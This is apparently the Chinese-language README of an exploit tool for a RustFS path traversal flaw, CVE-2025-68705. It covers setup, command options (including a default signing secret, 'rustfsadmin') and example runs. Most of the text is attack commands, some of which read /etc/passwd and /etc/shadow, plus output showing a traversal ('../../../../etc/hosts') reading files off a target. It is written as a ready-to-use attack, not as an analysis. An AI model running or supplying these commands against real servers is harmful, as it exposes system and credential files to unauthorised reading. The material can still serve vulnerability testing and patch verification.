该脚本利用了 RustFS 中的一个路径遍历漏洞(CVE-2025-68705),可允许读取服务器上的任意文件。
requirements.txtgit clone https://github.com/yourusername/CVE-2025-68705.git
cd CVE-2025-68705
pip install -r requirements.txt
python exp.py -H <host> -p <port> -f <file_path> [-s <secret>]
| 参数 | 说明 |
|---|---|
-H, --host | 目标主机 IP 或主机名 |
-p, --port | 目标端口号 |
-f, --file | 要读取的文件路径(配合 --check-only 时可省略) |
| 参数 | 说明 | 默认值 |
|---|---|---|
-s, --secret | 签名使用的密钥 | rustfsadmin |
-o, --offset | 文件读取偏移量 | 0 |
-l, --length | 要读取的字节数 | 4096 |
--check-only | 仅检查目标是否存在漏洞 | - |
python exp.py -H 192.168.1.128 -p 9000 -f /etc/passwd
python exp.py -H 192.168.1.128 -p 9000 -f /etc/shadow -o 0 -l 1024
python exp.py -H 192.168.1.128 -p 9000 -f /etc/hosts -s customsecret
python exp.py -H 192.168.1.128 -p 9000 --check-only
python exp.py -H 192.168.1.128 -p 9000 -f /etc/passwd -o 100 -l 200
python ./exp.py -H 192.168.1.128 -p 19010 -f ../../../../etc/hosts -o 0 -l 100
[*] Target: 192.168.1.128:19010
[*] Secret: rustfsadmin
--------------------------------------------------
[*] Checking for CVE-2025-68705 vulnerability...
[*] Exploiting CVE-2025-68705 against 192.168.1.128:19010
[*] Reading file: ../../../../etc/passwd
[+] Target is VULNERABLE!
--------------------------------------------------
[*] Exploiting CVE-2025-68705 against 192.168.1.128:19010
[*] Reading file: ../../../../../../../../etc/hosts
[+] Successfully read file!
[+] File content (offset=0, length=100):
--------------------------------------------------
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastp
本项目基于 MIT 许可证授权 - 详情请参阅 LICENSE 文件。